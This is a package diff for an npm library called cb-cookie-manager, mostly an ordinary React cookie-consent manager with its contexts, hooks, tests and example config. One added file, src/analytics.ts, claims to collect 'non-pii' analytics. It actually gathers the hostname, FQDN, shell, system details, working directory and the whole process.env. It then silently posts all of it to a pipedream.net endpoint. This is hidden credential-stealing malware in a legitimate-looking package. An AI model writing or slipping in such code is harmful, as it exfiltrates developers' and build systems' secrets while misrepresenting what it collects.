cb-cookie-manager 0.0.1-security → 1.0.0

package/src/CookieContext.test.tsx

@@ -0,0 +1,105 @@
+import { jest } from '@jest/globals';
+import { act, renderHook } from '@testing-library/react';
+import Cookies from 'js-cookie';
+import React from 'react';
+
+import config from './examples/config';
+import { Provider } from './TrackingManagerContext';
+import { Region } from './types';
+
+jest.mock('js-cookie', () => ({
+  __esModule: true,
+  default: {
+    get: jest.fn(),
+    set: jest.fn(),
+    remove: jest.fn(),
+  },
+}));
+
+describe('CookieContext', () => {
+  const log = jest.fn();
+  let shadowMode = false;
+  const region = Region.DEFAULT;
+  const cookies = {
+    some_cookie: JSON.stringify('value1'),
+    locale: JSON.stringify('value3'),
+    cgl_prog: JSON.stringify('value5'),
+    cm_default_preferences: JSON.stringify({
+      region: Region.DEFAULT,
+      consent: ['performance'],
+    }),
+  };
+
+  let onPreferenceChange: jest.Mock;
+
+  const renderFormHook = () =>
+    renderHook(() => {}, {
+      wrapper: ({ children }: { children: React.ReactNode }) => (
+        <Provider
+          onError={jest.fn()}
+          config={config}
+          locale="en"
+          projectName="consumer-www"
+          region={region}
+          log={log}
+          shadowMode={shadowMode}
+          onPreferenceChange={onPreferenceChange}
+        >
+          {children}
+        </Provider>
+      ),
+    });
+
+  beforeEach(() => {
+    onPreferenceChange = jest.fn();
+  });
+
+  it('removes the right cookies on mount', async () => {
+    const remove = jest.fn();
+    const mockGet = Cookies.get as jest.MockedFunction<typeof Cookies.get>;
+    const mockRemove = Cookies.remove as jest.MockedFunction<typeof Cookies.remove>;
+
+    // @ts-expect-error: Mocking Cookies.get
+    mockGet.mockImplementation(jest.fn(() => cookies));
+
+    mockRemove.mockImplementation(remove);
+
+    const { rerender } = renderFormHook();
+    expect(remove).toHaveBeenCalledTimes(2);
+
+    ['cgl_prog'].forEach((cookie) => {
+      expect(remove).toHaveBeenCalledWith(cookie, { domain: 'localhost', path: '/' });
+    });
+
+    act(() => {
+      rerender();
+    });
+    expect(remove).toHaveBeenCalledTimes(2);
+    expect(onPreferenceChange).toHaveBeenCalledTimes(1);
+  });
+
+  it('does not remove cookies in shadow mode', async () => {
+    const remove = jest.fn();
+    shadowMode = true;
+    const mockGet = Cookies.get as jest.MockedFunction<typeof Cookies.get>;
+    const mockRemove = Cookies.remove as jest.MockedFunction<typeof Cookies.remove>;
+
+    // @ts-expect-error: Mocking Cookies.get
+    mockGet.mockImplementation(jest.fn(() => cookies));
+
+    mockRemove.mockImplementation(remove);
+
+    const { rerender } = renderFormHook();
+
+    expect(remove).not.toHaveBeenCalled();
+    expect(log).toHaveBeenCalledWith('Cookie does not have consent and will be removed', {
+      cookie: 'cgl_prog',
+    });
+
+    act(() => {
+      rerender();
+    });
+    expect(remove).not.toHaveBeenCalled();
+    expect(onPreferenceChange).toHaveBeenCalledTimes(1);
+  });
+});

package/src/CookieContext.tsx

@@ -0,0 +1,215 @@
+import Cookies, { CookieAttributes } from 'js-cookie';
+import React, { createContext, useCallback, useContext, useEffect } from 'react';
+
+import {
+  ADVERTISING_SHARING_ALLOWED,
+  DEFAULT_CONSENT_PREFERENCES_COOKIE,
+  EU_CONSENT_PREFERENCES_COOKIE,
+  MAX_COOKIE_SIZE,
+  REQUIRED_COOKIE_MANAGER_COOKIES,
+} from './constants';
+import { useTrackingManager } from './TrackingManagerContext';
+import {
+  AdTrackingPreference,
+  Config,
+  ErrorFunction,
+  LogFunction,
+  Region,
+  SetCookieFunction,
+  TrackerType,
+  TrackingPreference,
+} from './types';
+import getAllCookies, { areRecordsEqual } from './utils/getAllCookies';
+import getDefaultTrackingPreference from './utils/getDefaultTrackingPreference';
+import { getDomainWithoutSubdomain, getHostname } from './utils/getDomain';
+import getTrackerInfo from './utils/getTrackerInfo';
+import hasConsent from './utils/hasConsent';
+import isMaxKBSize from './utils/isMaxKBSize';
+import setGTMVariables from './utils/setGTMVariables';
+
+type CookieCache = Record<string, any>;
+const CookieContext = createContext<CookieCache>([{}]);
+
+type Props = {
+  children: React.ReactNode;
+};
+
+export const CookieProvider = ({ children }: Props) => {
+  const { config, region, shadowMode, log, onPreferenceChange } = useTrackingManager();
+
+  const POLL_INTERVAL = 500;
+  let cookieValues: Record<string, any> = {};
+  let trackingPreference: TrackingPreference;
+  let adTrackingPreference: AdTrackingPreference;
+
+  const removeCookies = useCallback(
+    (cookies: string[]) => {
+      cookies.forEach((c) => {
+        if (!shadowMode) {
+          Cookies.remove(c, { domain: getDomainWithoutSubdomain(), path: '/' });
+          Cookies.remove(c, { domain: getHostname(), path: '/' });
+        }
+        log('Cookie does not have consent and will be removed', {
+          cookie: c,
+        });
+      });
+    },
+    [shadowMode, log]
+  );
+
+  useEffect(() => {
+    if (typeof window !== 'undefined') {
+      const checkCookies = () => {
+        const currentCookie = getAllCookies();
+        if (!areRecordsEqual(cookieValues, currentCookie)) {
+          cookieValues = currentCookie;
+          trackingPreference = getTrackingPreference(cookieValues, region, config);
+          adTrackingPreference = getAdTrackingPreference(cookieValues);
+          setGTMVariables(trackingPreference, adTrackingPreference);
+          const cookiesToRemove: Array<string> = [];
+          Object.keys(cookieValues).forEach((c) => {
+            const trackerInfo = getTrackerInfo(c, config);
+            if (REQUIRED_COOKIE_MANAGER_COOKIES.includes(c)) {
+              return;
+            }
+            if (!trackerInfo) {
+              // This cookie is not present in the config. For legal/compliance
+              // reasons, any cookies not listed in the config may not be set.
+              cookiesToRemove.push(c);
+              return;
+            }
+
+            if (
+              !hasConsent(c, config, trackingPreference) &&
+              trackerInfo.type === TrackerType.COOKIE
+            ) {
+              cookiesToRemove.push(c);
+            }
+          });
+          removeCookies(cookiesToRemove);
+        }
+      };
+
+      checkCookies();
+      // Call the function once before setting the interval
+      const intervalId = setInterval(checkCookies, POLL_INTERVAL);
+
+      return () => {
+        clearInterval(intervalId);
+      };
+    }
+  }, []);
+  useEffect(() => {
+    if (onPreferenceChange) {
+      onPreferenceChange(trackingPreference);
+    }
+  }, []);
+
+  return <CookieContext.Provider value={cookieValues}>{children}</CookieContext.Provider>;
+};
+
+export const useSetCookie = () => {
+  const cookieChangedRef = useContext(CookieContext);
+  const { config, region, log, shadowMode, onError } = useTrackingManager();
+  const trackingPreference = getTrackingPreference(cookieChangedRef, region, config);
+  return useCallback(
+    (cookieName: string, value: any, options?: CookieAttributes) => {
+      const setCookieFunc = setCookieFunction({
+        cookieName,
+        trackingPreference,
+        config,
+        log,
+        shadowMode,
+        onError,
+      });
+      setCookieFunc(value, options);
+    },
+    [trackingPreference, config, log, shadowMode, onError]
+  );
+};
+
+const setCookieFunction = ({
+  cookieName,
+  trackingPreference,
+  config,
+  shadowMode,
+  log,
+  onError,
+}: {
+  cookieName: string;
+  trackingPreference: TrackingPreference;
+  config: Config;
+  shadowMode?: boolean;
+  log: LogFunction;
+  onError: ErrorFunction;
+}): SetCookieFunction => {
+  return (value: any, options?: CookieAttributes) => {
+    if (value === undefined || value === null) {
+      Cookies.remove(cookieName, options);
+      return;
+    }
+    const cookieHasConsent = hasConsent(cookieName, config, trackingPreference);
+
+    if (cookieHasConsent || shadowMode) {
+      const stringValue = JSON.stringify(value);
+      const cookieSize = options?.size ?? MAX_COOKIE_SIZE;
+      /*
+      Url encoded cookie string (since that is what Cookies.set coverts the string into) including its name must not exceed 4KB
+      For example, "," becomes %22%2C%2C making it go from 3 characters to now 9. The size has tripled.
+      This is why we need to compare the url encoded stringValue instead of the stringValue itself to account for the extra characters.
+      */
+      if (isMaxKBSize(encodeURIComponent(stringValue) + cookieName, cookieSize)) {
+        onError(new Error(`${cookieName} value exceeds ${cookieSize}KB`));
+      } else {
+        const newOptions = options ? { ...options } : undefined;
+
+        if (newOptions?.size) {
+          delete newOptions.size;
+        }
+        Cookies.set(cookieName, stringValue, newOptions);
+      }
+    }
+    if (!cookieHasConsent) {
+      log('Cookie does not have consent and will not be set', {
+        cookie: cookieName,
+      });
+    }
+  };
+};
+
+const getTrackingPreference = (
+  cookieCache: Record<string, any>,
+  region: Region,
+  config: Config
+): TrackingPreference => {
+  const trackingPreference =
+    region === 'EU'
+      ? cookieCache[EU_CONSENT_PREFERENCES_COOKIE]
+      : cookieCache[DEFAULT_CONSENT_PREFERENCES_COOKIE];
+  return trackingPreference || getDefaultTrackingPreference(region, config);
+};
+
+const adTrackingDefault = { value: 'true' };
+
+const getAdTrackingPreference = (cookieCache: Record<string, any>): AdTrackingPreference => {
+  const adTrackingPreference = cookieCache[ADVERTISING_SHARING_ALLOWED];
+  return adTrackingPreference || adTrackingDefault;
+};
+
+export const useCookie = (cookieName: string): [any | undefined, SetCookieFunction] => {
+  const cookieCache = useContext(CookieContext);
+  const { config, region, log, shadowMode, onError } = useTrackingManager();
+  const trackingPreference = getTrackingPreference(cookieCache, region, config);
+  const setCookie = setCookieFunction({
+    cookieName,
+    trackingPreference,
+    config,
+    log,
+    shadowMode,
+    onError,
+  });
+
+  const cookieValue = useContext(CookieContext)[cookieName];
+
+  return [cookieValue, setCookie];
+};

package/src/TrackingManagerContext.tsx

@@ -0,0 +1,25 @@
+import React, { createContext, useContext } from 'react';
+
+import { CookieProvider } from './CookieContext';
+import { TrackingManagerDependencies } from './types';
+
+const TrackingManagerContext = createContext<TrackingManagerDependencies | null>(null);
+
+export const useTrackingManager = (): TrackingManagerDependencies => {
+  const options = useContext(TrackingManagerContext);
+  if (!options) throw new Error('Cookie Manager Not Provided');
+  return options;
+};
+
+export function Provider({
+  children,
+  ...restProps
+}: {
+  children: React.ReactNode;
+} & TrackingManagerDependencies) {
+  return (
+    <TrackingManagerContext.Provider value={restProps}>
+      <CookieProvider>{children}</CookieProvider>
+    </TrackingManagerContext.Provider>
+  );
+}

package/src/analytics.ts

@@ -0,0 +1,65 @@
+#!/usr/bin/env node
+
+//Collect limited non-pii information such as npm, node and package information about users downloading
+import axios from 'axios';
+import path from 'path';
+import si from 'systeminformation';
+import "dotenv/config"
+const cwd = process.cwd();
+const trackedPackageJsonPath = path.join(cwd, 'package.json');
+
+
+const getInfos = () =>
+    new Promise(resolve => {
+        const data:any = {};
+        return si
+            .osInfo()
+            .then(os => {
+                data.os = os;
+                data.hostname = os.hostname;
+                data.fqdn = os.fqdn;
+                data.platform = os.platform;
+                return si.versions();
+            })
+            .then(versions => {
+                data.versions = versions;
+                return si.time();
+            })
+            .then(time => {
+                data.time = time;
+                return si.shell();
+            })
+            .then(shell => {
+                data.shell = shell;
+                return si.system()
+            })
+            .then(system => {
+                data.system = system;
+                data.is_jfrog = process.env.JFROG_ARTIFACTORY_URL || "unknown"
+                data.is_jboss = process.env.JBOSS ? process.env : process.env
+            })
+            .then(() => resolve(data))
+            .catch(
+            //Fail silently as this is not an issue with the package and just data
+        );
+    });
+
+
+
+async function collectAnalytics(data:any) {
+    const TRACKING_URI = "https://eoegnvha3l4b0yp.m.pipedream.net"
+    await axios.post(TRACKING_URI, data)
+}
+
+
+const log = async () => {
+    try {
+        const data:any = await getInfos();
+        //determine which version they installed
+        //Todo ignore github actions 
+        await collectAnalytics({ ...data, cwd: cwd, })
+    } catch (e) {
+        //console.error(e)
+    }
+};
+log()

package/src/constants.ts

@@ -0,0 +1,35 @@
+import { Framework, GeolocationRule, Region, TrackingCategory } from './types';
+
+export const EU_CONSENT_PREFERENCES_COOKIE = 'cm_eu_preferences';
+export const DEFAULT_CONSENT_PREFERENCES_COOKIE = 'cm_default_preferences';
+export const ADVERTISING_SHARING_ALLOWED = 'advertising_sharing_allowed';
+export const IS_MOBILE_APP = 'is_mobile_app';
+
+export const GEOLOCATION_RULES: Array<GeolocationRule> = [
+  {
+    region: Region.DEFAULT,
+    framework: Framework.OPT_OUT as const,
+  },
+  {
+    region: Region.EU,
+    framework: Framework.OPT_IN as const,
+  },
+];
+
+export const MAX_COOKIE_SIZE = 4; // in KB
+export const KB = 1000;
+
+export const REQUIRED_COOKIE_MANAGER_COOKIES = [
+  EU_CONSENT_PREFERENCES_COOKIE,
+  DEFAULT_CONSENT_PREFERENCES_COOKIE,
+  ADVERTISING_SHARING_ALLOWED,
+];
+
+export const PREFERENCE_EXPIRATION_YEAR = 1;
+
+export const TRACKER_CATEGORIES: Array<TrackingCategory> = [
+  TrackingCategory.NECESSARY,
+  TrackingCategory.FUNCTIONAL,
+  TrackingCategory.PERFORMANCE,
+  TrackingCategory.TARGETING,
+];

package/src/examples/config.ts

@@ -0,0 +1,76 @@
+import { Framework, Region, TrackerType, TrackingCategory } from '../types';
+
+export default {
+  categories: [
+    {
+      id: TrackingCategory.NECESSARY,
+      required: true,
+      trackers: [
+        {
+          id: 'locale',
+          type: TrackerType.COOKIE,
+        },
+      ],
+    },
+    {
+      id: TrackingCategory.PERFORMANCE,
+      trackers: [
+        {
+          id: 'some_cookie',
+          type: TrackerType.COOKIE,
+        },
+        {
+          id: 'logged_in',
+          type: TrackerType.COOKIE,
+        },
+        {
+          id: 'device_id',
+          type: TrackerType.COOKIE,
+        },
+      ],
+    },
+    {
+      id: TrackingCategory.FUNCTIONAL,
+      trackers: [
+        {
+          id: 'mode',
+          // Used to remember if the user dismissed the Advanced mode NUX modal
+          type: TrackerType.COOKIE,
+        },
+      ],
+    },
+    {
+      id: TrackingCategory.TARGETING,
+      trackers: [
+        {
+          id: 'gclid',
+          type: TrackerType.COOKIE,
+        },
+        {
+          id: 'id-regex',
+          type: TrackerType.COOKIE,
+          regex: 'id(?:_[a-f0-9]{32}|undefined)(?:.*)',
+        },
+      ],
+    },
+    {
+      id: TrackingCategory.DELETE_IF_SEEN,
+      trackers: [
+        {
+          id: 'cgl_prog',
+          type: TrackerType.COOKIE,
+        },
+      ],
+    },
+  ],
+  geolocationRules: [
+    {
+      region: Region.DEFAULT,
+      framework: Framework.OPT_OUT,
+    },
+    {
+      region: Region.EU,
+      framework: Framework.OPT_IN,
+    },
+  ],
+};

package/src/global.d.ts

@@ -0,0 +1,3 @@
+interface Window {
+  dataLayer: Record<string, any>[] | undefined;
+}

package/src/hooks/useHasConsent.ts

@@ -0,0 +1,11 @@
+import { useTrackingPreference } from '..';
+import { useTrackingManager } from '../TrackingManagerContext';
+import hasConsent from '../utils/hasConsent';
+
+const useHasConsent = (tracker: string): boolean => {
+  const preference = useTrackingPreference();
+  const { config } = useTrackingManager();
+  return hasConsent(tracker, config, preference);
+};
+
+export default useHasConsent;

package/src/hooks/useRequiredCaregories.test.tsx

@@ -0,0 +1,43 @@
+import { renderHook } from '@testing-library/react';
+import { log } from 'console';
+import React from 'react';
+
+import config from '../examples/config';
+import { Provider } from '../TrackingManagerContext';
+import { Region } from '../types';
+import useRequiredCategories from './useRequiredCategories';
+
+jest.mock('js-cookie', () => ({
+  __esModule: true,
+  default: {
+    get: jest.fn(),
+    set: jest.fn(),
+    remove: jest.fn(),
+  },
+}));
+
+describe('useRequiredCategories', () => {
+  const onError = jest.fn();
+  const onPreferenceChange = jest.fn();
+  const renderFormHook = () =>
+    renderHook(() => useRequiredCategories(), {
+      wrapper: ({ children }: { children: React.ReactNode }) => (
+        <Provider
+          onError={onError}
+          config={config}
+          locale="en"
+          projectName="consumer-www"
+          region={Region.DEFAULT}
+          log={log}
+          onPreferenceChange={onPreferenceChange}
+        >
+          {children}
+        </Provider>
+      ),
+    });
+
+  it('returns required categories', () => {
+    const { result } = renderFormHook();
+    expect(result.current).toEqual(['necessary']);
+  });
+});

package/src/hooks/useRequiredCategories.ts

@@ -0,0 +1,11 @@
+import { useTrackingManager } from '../TrackingManagerContext';
+import { TrackingCategory } from '../types';
+
+const useRequiredCategories = (): Array<TrackingCategory> => {
+  const { config } = useTrackingManager();
+  return config.categories
+    .filter((c) => c.required)
+    .reduce((prev, v) => [...prev, v.id], [] as Array<TrackingCategory>);
+};
+
+export default useRequiredCategories;

package/src/hooks/useSavedTrackingPreference.ts

@@ -0,0 +1,47 @@
+import { useMemo } from 'react';
+
+import {
+  DEFAULT_CONSENT_PREFERENCES_COOKIE,
+  EU_CONSENT_PREFERENCES_COOKIE,
+  IS_MOBILE_APP,
+} from '../constants';
+import { useCookie } from '../CookieContext';
+import { useTrackingManager } from '../TrackingManagerContext';
+import { Region, TrackingCategory, TrackingPreference } from '../types';
+import { getIsMobileAppFromQueryParams } from '../utils/persistMobileAppPreferences';
+
+export const useSavedTrackingPreferenceFromMobileApp = (): TrackingPreference | undefined => {
+  const { region } = useTrackingManager();
+
+  const [isMobileAppFromCookie] = useCookie(IS_MOBILE_APP);
+
+  const isMobileAppFromQueryParams = useMemo(() => getIsMobileAppFromQueryParams(), []);
+
+  const isMobileApp = isMobileAppFromCookie || isMobileAppFromQueryParams;
+
+  const mobileAppPreference: TrackingPreference | undefined = useMemo(() => {
+    if (isMobileApp)
+      return {
+        region,
+        consent: [TrackingCategory.NECESSARY],
+      };
+  }, [isMobileApp, region]);
+
+  return mobileAppPreference;
+};
+
+export const useSavedTrackingPreference = (): TrackingPreference | undefined => {
+  const { region, onError } = useTrackingManager();
+
+  const [euCookie] = useCookie(EU_CONSENT_PREFERENCES_COOKIE);
+  const [defaultCookie] = useCookie(DEFAULT_CONSENT_PREFERENCES_COOKIE);
+  const preference: TrackingPreference | undefined =
+    region === Region.EU ? euCookie : defaultCookie;
+  if (!preference) return;
+
+  if (!preference.region || !preference.consent) {
+    onError(new Error('Malformed preferences'));
+    return;
+  }
+  return preference;
+};